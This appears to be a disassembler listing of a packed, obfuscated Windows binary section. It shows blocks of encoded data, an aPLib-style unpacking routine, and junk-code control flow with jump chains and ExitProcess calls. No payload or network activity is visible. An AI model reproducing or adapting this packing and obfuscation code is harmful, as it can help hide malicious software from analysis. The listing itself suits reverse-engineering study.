		dd 1AEBAC10h, 58D9F51Eh, 836B325Eh, 21A9522h, 0A2588964h
		dd 6358568h, 24987F2Eh,	4DF1BE0Ah, 0E4FECA60h, 0E6E72466h
		dd 58AB102Bh, 17835754h, 4CD6ACFAh, 0FB61630Dh,	49DC151Ah
		dd 552F5EF7h, 0EE299EE5h, 0CC87E8DBh, 91105AF1h, 0C7CC7E2Ah
		dd 53D148D8h, 0C6ED5B9Fh, 0C8FDCDFAh, 83CB8D85h, 5736F037h
		dd 15A66DBDh, 1A3DE3E1h, 92AA3C90h, 793961DCh, 0CBB48A1Fh
		dd 4CEBBC30h, 818B46F7h, 0F57B573h, 4137AAF8h, 0FC46A6Ch
		dd 6CA75AA9h, 40DE62B7h, 31733789h, 0E779E35Fh,	265EB85Ah
		dd 0A32B6E76h, 0BF68536Ch, 1F3267DEh, 3A81B0FDh, 0D53AC6A1h
		dd 0F5353346h, 0A935E53Eh, 10768E1Ah, 0A588DB66h, 89F23D7Bh
		dd 0B191879Ch, 744D5947h
		dd 232CEE01h, 64B404C0h, 3F2633C9h, 26F83078h, 0BC7F388Fh
		dd 4B1670FAh, 0EDD2BF1Ah, 2C7E83B9h, 84ADCD60h,	0FDABAA8h
		dd 0D175501Ch, 587E7522h, 0C50FA67Fh, 0B338038Dh, 781BC899h
		dd 7C4CBA3Eh, 0A303FA9Ah, 0BA086193h, 395B1B99h, 46362572h
		dd 0B78B154Eh, 0DD4D6F2Ch, 2B3064FBh, 3D685505h, 0A42EAB82h
		dd 0C8BFD958h, 0BE658579h, 2D30C772h, 0EF8C4431h, 99B2AB2Ah
		dd 0CA1AF9EDh, 0FCF87C48h, 0A9DAEEE4h, 2640D158h, 9A69215Eh
		dd 8CA1BA3h, 0FD09F7BBh, 0A0F4EA2Fh, 68A3C138h,	0F895C68Bh
		dd 57584389h, 0CBF224B3h, 0EE35FDD3h, 0CEEDE058h, 0F058B54Ah
		dd 27F3C3F1h, 1C68BAEEh, 0BDAC14A7h, 49C92DD2h,	8F7695FBh
		dd 0B0F2FF99h, 1C5ABB5Bh, 558C83D8h, 0FE34BBC5h, 0C688D9A9h
		dd 8C9BCEE7h, 0DF4E335Ch, 0C2F35F5Ah, 55CAD968h, 5AFDE070h
		dd 78176088h, 8575B9C5h, 0ABDAE967h, 0FA844F58h, 94C92F55h
		dd 7A45B9C4h, 0A7FC330h, 0CEDAD2F7h, 0B62FEB5Fh, 62BCEBC4h
		dd 0ACEC7E4Ah, 0AC735E87h, 30B82DC8h, 76C9FC65h, 7CA589FCh
		dd 9120CEC3h, 0F62Ah, 72C50000h, 1
		db 2 dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_473206	proc near		; CODE XREF: y3hmw1t3:loc_475828p
					; DATA XREF: y3hmw1t3:00476005o

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00473385 SIZE 00000004 BYTES

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFECh
		cld
		push	ebx
		push	edi
		push	esi
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], edx
		mov	esi, eax
		mov	edi, edx
		cmp	word ptr [esi],	434Ah
		jnz	loc_473348
		add	esi, 0Ah
		mov	[ebp+var_C], 8
		xor	ebx, ebx
		mov	edx, 80000000h
		inc	ebx

loc_473237:				; CODE XREF: sub_473206+46j
					; sub_473206+8Dj ...
		xor	eax, eax
		call	sub_47334F
		jnb	short loc_47324E
		mov	ecx, [ebp+var_10]
		call	sub_473367
		add	al, [ebp+var_11]

loc_47324B:				; CODE XREF: sub_473206+65j
		stosb
		jmp	short loc_473237
; ---------------------------------------------------------------------------

loc_47324E:				; CODE XREF: sub_473206+38j
		call	sub_47334F
		jb	loc_4732F0
		call	sub_47334F
		jnb	short loc_4732BB
		mov	ecx, 4
		call	sub_473367
		dec	eax
		jz	short loc_47324B
		jns	loc_47333A
		call	sub_47334F
		jnb	short loc_473295
		push	ebp

loc_47327B:				; CODE XREF: sub_473206+8Aj
		mov	ebp, 100h

loc_473280:				; CODE XREF: sub_473206+83j
		call	sub_47335C
		mov	[edi], al
		inc	edi
		dec	ebp
		jnz	short loc_473280
		call	sub_47334F
		jb	short loc_47327B
		pop	ebp
		jmp	short loc_473237
; ---------------------------------------------------------------------------

loc_473295:				; CODE XREF: sub_473206+72j
		mov	ecx, 1
		call	sub_473367
		add	eax, 7
		mov	[ebp+var_10], eax
		mov	[ebp+var_11], 0
		cmp	eax, 8
		jz	short loc_473237
		call	sub_47335C
		mov	[ebp+var_11], al
		jmp	loc_473237
; ---------------------------------------------------------------------------

loc_4732BB:				; CODE XREF: sub_473206+58j
		mov	ecx, 7
		call	sub_473367
		push	eax
		mov	ecx, 2
		call	sub_473367
		mov	ecx, eax
		inc	ecx
		inc	ecx
		pop	eax
		or	eax, eax
		jz	short loc_4732DD
		mov	ebx, eax
		jmp	short loc_47333B
; ---------------------------------------------------------------------------

loc_4732DD:				; CODE XREF: sub_473206+D1j
		cmp	ecx, 2
		jz	short loc_473348
		inc	ecx
		call	sub_473367
		mov	[ebp+var_C], eax
		jmp	loc_473237
; ---------------------------------------------------------------------------

loc_4732F0:				; CODE XREF: sub_473206+4Dj
		call	sub_473373
		dec	ecx
		loop	loc_473301
		mov	eax, ebx
		call	sub_473373
		jmp	short loc_47333B
; ---------------------------------------------------------------------------

loc_473301:				; CODE XREF: sub_473206+F0j
		dec	ecx
		mov	eax, ecx
		push	ebp
		mov	ecx, [ebp+var_C]
		mov	ebp, eax
		xor	eax, eax
		shl	ebp, cl
		call	sub_473367
		or	eax, ebp
		pop	ebp
		mov	ebx, eax
		call	sub_473373
		cmp	eax, 10000h
		jnb	short loc_473338
		cmp	eax, 37FFh
		jnb	short loc_473339
		cmp	eax, 27Fh
		jnb	short loc_47333A
		cmp	eax, 7Fh
		ja	short loc_47333B
		inc	ecx

loc_473338:				; CODE XREF: sub_473206+11Cj
		inc	ecx

loc_473339:				; CODE XREF: sub_473206+123j
		inc	ecx

loc_47333A:				; CODE XREF: sub_473206+67j
					; sub_473206+12Aj
		inc	ecx

loc_47333B:				; CODE XREF: sub_473206+D5j
					; sub_473206+F9j ...
		push	esi
		mov	esi, edi
		sub	esi, eax
		rep movsb
		pop	esi
		jmp	loc_473237
; ---------------------------------------------------------------------------

loc_473348:				; CODE XREF: sub_473206+19j
					; sub_473206+DAj
		mov	eax, esi
		pop	esi
		pop	edi
		pop	ebx
		jmp	short loc_473385
sub_473206	endp


; =============== S U B	R O U T	I N E =======================================



sub_47334F	proc near		; CODE XREF: sub_473206+33p
					; sub_473206:loc_47324Ep ...
		add	edx, edx
		jnz	short locret_47335B
		mov	edx, [esi]
		add	esi, 4
		stc
		adc	edx, edx

locret_47335B:				; CODE XREF: sub_47334F+2j
		retn
sub_47334F	endp


; =============== S U B	R O U T	I N E =======================================



sub_47335C	proc near		; CODE XREF: sub_473206:loc_473280p
					; sub_473206+A8p
		mov	ecx, 8
		call	sub_473367
		retn
sub_47335C	endp


; =============== S U B	R O U T	I N E =======================================



sub_473367	proc near		; CODE XREF: sub_473206+3Dp
					; sub_473206+5Fp ...
		xor	eax, eax

loc_473369:				; CODE XREF: sub_473367+9j
		call	sub_47334F
		adc	eax, eax
		loop	loc_473369
		retn
sub_473367	endp


; =============== S U B	R O U T	I N E =======================================



sub_473373	proc near		; CODE XREF: sub_473206:loc_4732F0p
					; sub_473206+F4p ...
		xor	ecx, ecx
		inc	ecx

loc_473376:				; CODE XREF: sub_473373+Fj
		call	sub_47334F
		adc	ecx, ecx
		call	sub_47334F
		jb	short loc_473376
		retn
sub_473373	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473206

loc_473385:				; CODE XREF: sub_473206+147j
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_473206
; ---------------------------------------------------------------------------
		align 2

loc_47338A:				; CODE XREF: y3hmw1t3:0047412Cj
					; DATA XREF: sub_475FC5o ...
		rol	edi, 10h
		sub	edi, 0D75F5648h
		add	edi, 67AC5A8Dh
		push	offset loc_473E34
		jmp	loc_474D70
; ---------------------------------------------------------------------------
		align 4
		dd 0B8870F00h, 81000020h, 0E68369CAh, 91C281DFh, 3C48D0Ch
		dd 0B951D5h, 0E900473Ah, 630h, 0C300h, 172FE9h,	7FE80000h
		dd 6800002Bh, 4757A7h, 28E7E9h,	52000000h, 1487D08Bh, 31C96824h
		dd 8158AAAFh, 633A77C8h, 159EE911h, 0F3330000h,	241CE9h
		dd 840F0000h, 9A8h, 5F243C87h, 0E903C2C1h, 219Eh, 4870000h
		dd 577FBE24h, 2FE90047h, 0F000007h, 123285h, 68108B00h
		dd 474EC1h, 1E6BE9h, 0C30000h, 0F0C015FFh, 68560044h, 76F86155h
		dd 1861E8h, 68000000h, 474D1Fh,	1919E9h, 57C30000h, 474D27BFh
		dd 0FFE9E900h, 6800FFFFh, 0A191094Fh, 0FCE88158h, 0C1FA961Eh
		dd 0F8810DC0h, 0C157EEDFh, 2591E9h, 4870000h, 0E8EC8B24h
		dd 0D36h, 243C8700h, 0A6AE9h, 8B550000h, 242C87EEh, 0EA7E9h
		dd 0C181C300h, 0BEAA9AA2h, 9C590189h, 4741E568h, 22CAE900h
		dd 68000000h, 474185h, 1876E9h,	8B00C600h, 8B242C87h, 1E5BE8C5h
		dd 2B000000h, 22F6E9CAh, 81000000h, 9BFDE9E9h, 81F181F3h
		dd 81C1B2EAh, 89FA25C1h, 9517C4Dh, 2CEE9h, 0C870000h, 0C5035924h
		dd 1C90E8h, 0E8000000h,	111Ah, 0E77A6800h, 0C15A68BFh
		dd 0C28116C2h, 21AD020Dh, 19EBE8h, 0E9000000h, 3B3h, 237FE900h
		dd 52000000h, 0EF971B68h, 240C8732h, 8159D18Bh,	6A0F55E2h
		dd 26E956A6h, 3, 95E8D0Fh, 8E90000h, 0C3000008h, 0BB2DFD81h
		dd 0A7E908F6h, 0C3000019h, 2070E9h, 0BE8D0F00h,	0
		dd 8BCB0B00h, 16C9C118h, 0BEBE9h, 0E9C30000h, 0C8Bh, 3E666800h
		dd 14E90047h, 22h, 0F6E9C300h, 22h, 8700C600h, 8B243C87h
		dd 53685FC7h, 0E9004757h, 1E7Dh, 9008B00h, 52850FC0h, 0E9000009h
		dd 14DEh, 0CEC10000h, 16F3E91Eh, 0C8810000h, 0F6F1881Ah
		dd 0D11850Fh, 0C7C10000h, 7E95909h, 0Dh, 0E9C3C3C3h, 0DA9h
		dd 0DB7E900h, 8B0F0000h, 1D6Fh,	5E243487h, 19EBE89Ch, 0
; ---------------------------------------------------------------------------

loc_4735E8:				; CODE XREF: y3hmw1t3:loc_47531Bj
		cmp	al, 0A4h

loc_4735EA:				; DATA XREF: y3hmw1t3:00474EA2o
		jnz	loc_4735F6
		jmp	loc_47493D
; ---------------------------------------------------------------------------
		align 2

loc_4735F6:				; CODE XREF: y3hmw1t3:loc_4735EAj
		xchg	esi, [esp]
		push	esi
		pop	ecx
		xchg	edi, [esp]
		mov	esi, edi
		jmp	loc_475347
; ---------------------------------------------------------------------------
		align 2
		jo	loc_47550C
		jmp	loc_474413
; ---------------------------------------------------------------------------
		db 2 dup(0), 0Fh
		dd 0FFFE0E85h, 0CDC081FFh, 81854B96h, 439F05E0h, 363168D9h
		dd 9EE90047h, 1Bh, 28C08100h, 8B404544h, 0FD02900h, 5C984h
		dd 0D1685200h, 5A397AEFh, 1977E9h, 0CFC10000h, 937E905h
		dd 0C6000000h, 52580300h, 0C8970068h, 0F1E95A9Dh, 0
		dd 81F22B00h, 0C9ABA6EFh, 4C7C1CFh, 82B9C781h, 53E9FDA4h
					; CODE XREF: y3hmw1t3:00475D09j
					; y3hmw1t3:loc_475D00j
		dd 22h,	41FD6800h, 0E0E90047h, 0FFFFFEh, 5A9D02C6h, 9A2DC881h
		dd 0C0C10CEDh, 0DAC88102h, 811203DBh, 872086C0h, 1D9E99Ch
		dd 89000000h, 0FA810075h, 5339D65Eh, 0FFFD45E9h, 28700FFh
		dd 19C7E9h, 0C1000000h,	0E28104C2h, 0DD7CC755h,	7EDEC281h
		dd 0E8E9B742h, 26h, 42616800h, 2E90047h, 0C6000014h, 0E8590F01h
		dd 103Ch
; ---------------------------------------------------------------------------

loc_4736EC:				; CODE XREF: y3hmw1t3:00475B38j
		jmp	nullsub_380
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h	; CODE XREF: y3hmw1t3:00474E75j
; ---------------------------------------------------------------------------
		push	esp
		sbb	[eax], al
		add	bl, al		; CODE XREF: y3hmw1t3:loc_474D2Aj
		xchg	ebx, [esp]
		push	ebp
		mov	ebp, edx
		xchg	ebp, [esp]
		jmp	loc_475A5A
; ---------------------------------------------------------------------------
		align 4
		dd 0B781F281h, 0C2811391h, 3E3F357Eh, 0FBFE8h, 0EA815E00h
		dd 0B94524D8h, 84EDF281h, 0EA81EC14h, 618B5A6Eh, 0F19C2C1h
		dd 1D3A83h, 0C3000000h,	124CE900h, 87000000h, 3C582404h
		dd 36850FA4h, 0E9000019h, 13C6h, 23A7E9h, 0C300h, 233CE9h
		dd 4BF16800h, 8CE90047h, 18h, 0E856008Bh, 1C4Ch, 51D46857h
		dd 0E95FF42Ch, 9B0h, 8B5100C3h,	240C87CFh, 304E7A68h, 0C7C15F20h
		dd 0C9C78103h, 0E9FEC4D7h, 0D85h, 0C181C300h, 28E9A6B8h
		dd 9A68CD03h, 0E9004734h, 0FFFFFCEDh, 5367BB53h, 74E90047h
		dd 9C000016h, 4756C168h, 1EF2E900h, 0CB8B0000h,	0BB240C87h
		dd 475179h, 12D6E9h, 0D8E99C00h, 87000010h, 35A2414h, 421C68C5h
		dd 0F7E90047h, 0C300001Dh, 3FC38100h, 0E93C3F1Ah, 0FFFFFD25h
		dd 58870F00h, 8700001Eh, 8D59240Ch, 47589205h, 2D685100h
		dd 59847CC9h, 72E9F181h, 38E99444h, 19h, 0C18B5000h, 8B240487h
		dd 240C87CDh, 23E9EC8Bh, 0Bh, 504D6800h, 86E90047h, 0C600001Bh
		dd 81598701h, 5E2D1FC1h, 14C1C12Ah, 1F12F181h, 0C1811214h
		dd 1A2822D3h, 0E9240C87h, 882h,	1BACE8h, 25706800h, 815E1A95h
		dd 17EF3CE6h, 3C681DCh,	3B722FECh, 0ACE95ED6h, 15h
dword_473878	dd 0FFFC6DE8h, 1FE900FFh, 0E9000020h, 1E09h, 0C2810000h
					; DATA XREF: y3hmw1t3:00473E28o
		dd 0AE637FAAh, 16F9EA81h, 0FA815170h, 4C8668Eh,	201CE9h
		dd 8702C600h, 87E98B5Ah, 6852242Ch, 34A65370h, 2015E95Ah
		dd 0
; ---------------------------------------------------------------------------
		cdq
		xchg	ebx, [esp]
		pop	ebx
		sub	al, 99h
		push	offset byte_475C6B
		jmp	locret_473BD7
; ---------------------------------------------------------------------------
		db 2 dup(0), 68h
		dd offset dword_474C98
		dd 0FFFF12E9h, 0B0850FFFh, 0F000014h, 147A85h, 0C58B5000h
		dd 8B240487h, 11CAE9ECh, 8B000000h, 3C87FC45h, 34536824h
		dd 0C9E90047h, 0FFFFFCh, 474CEF68h, 0FC73E900h,	0FFFFh
		dd 10E959h, 87000000h, 555B241Ch, 2C87E98Bh, 17C4E924h
		dd 14870000h, 8B535A24h, 0E42E9DAh, 87000000h, 1C872434h
		dd 5BF38B24h, 5FC607C6h, 1539E9h, 3FBA5200h, 0E900474Fh
		dd 0FDBh, 6F850F00h, 0C100000Bh, 0E7E905E8h, 0Ah, 0C6C1F700h
		dd 0E950F860h, 388h, 5A241487h,	4C3DB951h, 41E90047h, 0C6000006h
		dd 8B5EC306h, 68C35AEAh, 17C7E0FAh, 0E9241C87h,	1188h
		dd 0E3815B00h, 29BCE83Ah, 40B0CB81h, 0C381D085h, 77361BD2h
		dd 8112C3C1h, 1E0583C3h, 1B22E9EEh, 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473BE0

loc_4739B0:				; CODE XREF: sub_473BE0+1DD3j
					; DATA XREF: y3hmw1t3:004746DBo
		xchg	esi, [esp+0]
		mov	edx, esi
		pop	esi
		xchg	edx, [esp-4+arg_0]
		call	ds:dword_44F0C0	; ExitProcess
		push	ecx
		mov	ecx, edx
		jmp	loc_47526A
; END OF FUNCTION CHUNK	FOR sub_473BE0
; ---------------------------------------------------------------------------
		align 4
		not	eax
		jmp	loc_474616
; ---------------------------------------------------------------------------
		align 10h

loc_4739D0:				; CODE XREF: y3hmw1t3:loc_47550Cj
		jl	loc_473D25
		jmp	locret_473EAB
; ---------------------------------------------------------------------------
		align 4
		shr	ebx, 0Ah
		and	ebx, 9737D24Fh
		jmp	loc_473D25
; ---------------------------------------------------------------------------
		dw 0C100h
		dd 7BE902E9h, 0Ch, 598701C6h, 6BFEC281h, 128B3B84h, 0E9241487h
		dd 20C7h, 5F243C87h, 58240487h,	0E9FA8B57h, 817h, 75FF0000h
		dd 0C015FFFCh, 0FF0044F0h, 1534FC75h, 44F0C0h, 24BEE9h
		dd 87000000h, 0E953241Ch, 168Eh, 0FC63300h, 0FFFB588Ah
		dd 0AB4E9FFh, 87000000h, 8B502414h, 240487C6h, 0C4BE9h
		dd 0C30000h, 76AE900h, 0
; ---------------------------------------------------------------------------

loc_473A64:				; CODE XREF: y3hmw1t3:00475CF1j
		push	ebp
		push	esi
		pop	ebp
		xchg	ebp, [esp]
		push	ecx
		jmp	loc_475550
; ---------------------------------------------------------------------------
		dd 0D2F08100h, 56ACEE72h, 0E915C7C1h, 1D6h, 870000C3h
		dd 9C68243Ch, 5B410842h, 0E306E381h, 850FFE1Ch,	0A66h
		dd 0C9E90000h, 0E9000012h, 0FFFFFEDBh, 0FF07C600h, 8B243487h
		dd 7E95EFEh, 1Ch, 24148700h, 850F495Ah,	1706h, 0BD2E952h
		dd 0
; ---------------------------------------------------------------------------
		xchg	edx, [esp]
		mov	esi, edx
		pop	edx
		sub	esi, 0B2A2190Bh
		push	offset byte_474A3F
		jmp	loc_474DED
; ---------------------------------------------------------------------------
		dw 6800h
		dd offset loc_47475C
; ---------------------------------------------------------------------------
		jmp	loc_474B8F
; ---------------------------------------------------------------------------
		align 2

loc_473AEA:				; CODE XREF: y3hmw1t3:0047455Ep
		xchg	esi, [esp]
		pop	esi
		add	edi, 27DE8A2Ch
		mov	ds:67E9243Ch, eax
		pop	ss
; ---------------------------------------------------------------------------
		dw 0
		db    0
		db    0
		db  53h	; S
		db  68h	; h
		db  5Fh	; _
		db  20h
		db  22h	; "
		db 0E2h	; â
		db 0E9h	; é
		db 0D0h	; Ð
		db  1Ah
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_473B09:				; CODE XREF: y3hmw1t3:00474FE2j
		rol	edx, 1
		sub	edx, 0B225CD87h
		xor	edx, 0BEE983D1h
		add	edx, 1FE503D2h
		jmp	near ptr dword_4749F0+25h
; ---------------------------------------------------------------------------

loc_473B22:				; CODE XREF: y3hmw1t3:00474DD2j
		sub	al, 99h
		push	0ABA0C053h
		pop	edx
		sub	edx, 0E6AAEA9Eh
		jmp	loc_47458C
; ---------------------------------------------------------------------------

loc_473B35:				; CODE XREF: y3hmw1t3:004745ACj
		and	esi, ecx
		xchg	ecx, [esp]
		push	offset loc_4752FC
		jmp	locret_474D04
; ---------------------------------------------------------------------------
		db    0
		db    0
		db 0C3h	; Ã
		db    0
; ---------------------------------------------------------------------------

loc_473B48:				; CODE XREF: y3hmw1t3:0047538Cj
		jmp	near ptr dword_473708+55h
; ---------------------------------------------------------------------------
		db    0
		db  68h	; h
		db  51h	; Q
		db  4Eh	; N
		db  47h	; G
		db    0
		db 0E9h	; é
		db 0F8h	; ø
		db  12h
		db    0
		db    0
		db    0
		db    0
		db  81h	; 
		db 0C3h	; Ã
		db  62h	; b
		db  9Ah	; š
		db 0A1h	; ¡
		db  13h
		db  81h	; 
		db 0FEh	; þ
		db 0A6h	; ¦
		db 0BFh	; ¿
		db 0AFh	; ¯
		db  5Dh	; ]
		db 0E9h	; é
		db 0B7h	; ·
		db  0Bh
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------

loc_473B6D:				; CODE XREF: y3hmw1t3:loc_47438Ej
		mov	byte ptr [edi],	0Fh
		xchg	eax, [esp]
		mov	edi, eax
		pop	eax
		xor	eax, 0A3239C90h
		rol	eax, 1
		jmp	loc_474565
; ---------------------------------------------------------------------------
		db    0
; ---------------------------------------------------------------------------

loc_473B84:				; CODE XREF: y3hmw1t3:00475373j
		push	3B99E424h
		pop	esi
		sub	esi, 8FCC725Bh
		xor	esi, 10963FFCh
		jmp	near ptr dword_4744EC+1Fh
; ---------------------------------------------------------------------------
		db  81h	; 
		db 0C8h	; È
		db 0DEh	; Þ
		db  5Ah	; Z
		db  35h	; 5
		db  44h	; D
		db  81h	; 
		db 0F0h	; ð
		db 0CEh	; Î
		db    1
		db  7Eh	; ~
		db  50h	; P
		db 0F7h	; ÷
		db 0C0h	; À
		db    0
		db    0
		db  80h	; €
		db    0
		db 0E9h	; é
		db  47h	; G
		db  1Ch
		db    0
		db    0
		db    0
		db    0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4744CE

loc_473BB4:				; CODE XREF: sub_4744CE-19Aj
		jnb	loc_475C49

loc_473BBA:				; CODE XREF: sub_4744CE:loc_47432Aj
		add	esi, 89839F24h
		xchg	esi, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_4744CE
		jmp	near ptr dword_4733A4+153h
; ---------------------------------------------------------------------------
		db    0
		db  8Dh	; 
		db    5
		db  5Ah	; Z
		db  3Eh	; >
		db  47h	; G
		db    0
		db 0C6h	; Æ
		db    0
		db 0C3h	; Ã
		db 0E8h	; è
		db  60h	; `
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------

locret_473BD7:				; CODE XREF: y3hmw1t3:004738C4j
		retn
; ---------------------------------------------------------------------------
		dd 89E9DF03h, 0FFFFFDh

; =============== S U B	R O U T	I N E =======================================



sub_473BE0	proc near		; CODE XREF: sub_473BE0+21BDp

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 004739B0 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0047526A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475995 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00475D9A SIZE 00000008 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	8917321h
		pop	edx
		jmp	loc_475995
sub_473BE0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

loc_473BF0:				; CODE XREF: y3hmw1t3:loc_475047j
		rol	eax, 3
		add	eax, 6FDACD45h
		jmp	loc_47454E
; ---------------------------------------------------------------------------
		call	ds:dword_44F0C0	; ExitProcess
		jmp	loc_473CCE
; ---------------------------------------------------------------------------
		align 2
		dw 58Dh
; ---------------------------------------------------------------------------
		fiadd	dword ptr [eax+47h]
		add	al, ch
		cmp	eax, 2
; START	OF FUNCTION CHUNK FOR sub_474CB3

loc_473C16:				; CODE XREF: sub_474CB3+56Ej
		jmp	nullsub_390
; END OF FUNCTION CHUNK	FOR sub_474CB3
; ---------------------------------------------------------------------------
		align 4
		dd 0AC4E900h, 0E9000000h, 0E50h, 0C30000h, 6C2E900h, 99000000h
					; CODE XREF: sub_473EA1:loc_475626j
		dd 2768D68Bh, 0E9004752h, 0FFFFF812h, 20E8880Fh, 3C870000h
		dd 24348724h, 0E95EFE8Bh, 972h,	0DD810000h, 0A6A20A6Bh
		dd 0FFFD07E8h, 0E90000FFh, 1D58h, 0C18100C3h, 66CEF868h
		dd 0F859820Fh, 0FFFFh, 0BE9C385h, 0C300000Bh, 243C8700h
		dd 2414875Fh, 0FEB8E9C3h, 0FFFFh
; ---------------------------------------------------------------------------

loc_473C90:				; DATA XREF: y3hmw1t3:00473E48o
		mov	edx, [eax]
		push	offset byte_475613
		jmp	loc_475724
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------
		db 2 dup(0), 0E9h
		dd 0Ch,	1ABF5700h, 0E9004752h, 0FFFFFBCEh, 474A48BFh, 0FDEBE900h
		dd 0C300FFFFh
		db 0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_473D4D

loc_473CBD:				; CODE XREF: sub_473D4D+11j
		jmp	loc_475658
; END OF FUNCTION CHUNK	FOR sub_473D4D
; ---------------------------------------------------------------------------

locret_473CC2:				; CODE XREF: y3hmw1t3:loc_47517Fj
		retn
; ---------------------------------------------------------------------------

loc_473CC3:				; CODE XREF: y3hmw1t3:00475D85j
		jmp	loc_474B94
; ---------------------------------------------------------------------------

loc_473CC8:				; DATA XREF: y3hmw1t3:00473CD3o
		jnb	loc_474E6F

loc_473CCE:				; CODE XREF: y3hmw1t3:00473C04j
		call	nullsub_380
		lea	eax, loc_473CC8
		push	offset byte_474FB1
		jmp	locret_474FA9
; ---------------------------------------------------------------------------
		align 4
; START	OF FUNCTION CHUNK FOR sub_473D4D

loc_473CE4:				; CODE XREF: sub_473D4D:loc_4743CAj
		push	offset loc_474FE7
		jmp	loc_473F11
; END OF FUNCTION CHUNK	FOR sub_473D4D
; ---------------------------------------------------------------------------
		align 10h
		jl	loc_4745E9

; =============== S U B	R O U T	I N E =======================================



sub_473CF6	proc near		; CODE XREF: y3hmw1t3:00473D20p

; FUNCTION CHUNK AT 0047408C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00474EAC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004750E0 SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	esi
		push	4F18C268h
		pop	esi
		sub	esi, 0FF9CF8BBh
		add	esi, 0B0CB710Dh
		jmp	loc_4750E0
sub_473CF6	endp

; ---------------------------------------------------------------------------
		dw 0B00h
; ---------------------------------------------------------------------------
		fld	qword ptr [edi+0C87243Ch]
		and	al, 8Bh
		stc
		pop	ecx
		xor	edx, eax
		call	sub_473CF6

loc_473D25:				; CODE XREF: y3hmw1t3:loc_4739D0j
					; y3hmw1t3:004739E5j
		add	ecx, 24B786Eh
		jmp	loc_473E85
; ---------------------------------------------------------------------------
		dd 14870000h, 24348724h, 815ED68Bh, 2472D8C6h, 2434F250h
		dd 0FFFEB5E9h, 2B0000FFh
; ---------------------------------------------------------------------------
		retf

; =============== S U B	R O U T	I N E =======================================



sub_473D4D	proc near		; CODE XREF: y3hmw1t3:0047534Dp

; FUNCTION CHUNK AT 00473CBD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00473CE4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00473F11 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004743CA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00475658 SIZE 0000001D BYTES

		xchg	eax, [esp+0]
		pop	eax
		push	ebx
		push	0E3B913E5h
		pop	ebx
		sub	ebx, 8FD9FB5Ch
		jmp	loc_473CBD
sub_473D4D	endp

; ---------------------------------------------------------------------------
		and	edi, esi
		jmp	loc_475019
; ---------------------------------------------------------------------------
		rol	edi, 5
		push	eax
		push	1A9D7417h
		pop	eax
		xor	eax, 0E890F9A2h
		jmp	loc_475047
; ---------------------------------------------------------------------------
		align 10h
		db 0, 0C3h
; ---------------------------------------------------------------------------

loc_473D82:				; CODE XREF: y3hmw1t3:00475357j
		jmp	locret_47549E
; ---------------------------------------------------------------------------
		align 4
		dd 85890F00h, 8100001Ah, 1FBE4FC2h, 5AB7689Dh, 0F3E90047h
					; CODE XREF: y3hmw1t3:loc_474481j
		dd 0C3000002h, 12E900h,	1E90000h, 0FFFFFAh, 5328E781h
		dd 3487E4A7h, 0D0FF5E24h
; ---------------------------------------------------------------------------

loc_473DB8:				; CODE XREF: y3hmw1t3:loc_473F1Dj
					; y3hmw1t3:00474B9Cj
		mov	dword ptr [ebp-4], 1
		jmp	loc_4751D3
; ---------------------------------------------------------------------------
		not	edx
		jmp	loc_4747C5
; ---------------------------------------------------------------------------
		align 4
		dd 0C75FF00h, 4756F568h, 0D5BE900h, 81000000h, 80AE70FDh
		dd 0FE5AE9D5h, 0FFFFh, 0F6E2C681h, 368B9F7Ch, 0FFF7E7E8h
		dd 810000FFh, 0AEF95BF9h, 4A6E9E1h, 0
		db  81h	; 
		db 0C9h	; É
		db 0C8h	; È
		db 0E1h	; á
		db 0F6h	; ö
		db  16h
		db  81h	; 
		db 0C1h	; Á
		db 0FCh	; ü
		db  7Fh	; 
		db  41h	; A
		db 0F4h	; ô
		db    3
		db 0D1h	; Ñ
		db  59h	; Y
		db 0E9h	; é
		db  25h	; %
		db  0Eh
		db    0
		db    0
		db 0
; ---------------------------------------------------------------------------

loc_473E19:				; CODE XREF: y3hmw1t3:00473E94j
		rol	eax, 2
		or	eax, 6D0846DEh
		add	eax, 35DED528h
		push	offset dword_473878
		jmp	locret_47438C
; ---------------------------------------------------------------------------
		align 4

loc_473E34:				; DATA XREF: y3hmw1t3:00473399o
		push	offset word_4747DA
		jmp	loc_4753B5
; ---------------------------------------------------------------------------
		align 10h
		dd 1981E8h
		db 3 dup(0)
; ---------------------------------------------------------------------------

loc_473E47:				; CODE XREF: y3hmw1t3:loc_475A5Aj
		push	eax
		mov	eax, offset loc_473C90
		jmp	loc_474E04
; ---------------------------------------------------------------------------

loc_473E52:				; CODE XREF: y3hmw1t3:00473F2Cj
		xchg	ebx, [esp]
		pop	ebx
		mov	byte ptr [eax],	0C3h
		retn
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_379. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		pop	esp
		dec	esp
		neg	dword ptr [edi]
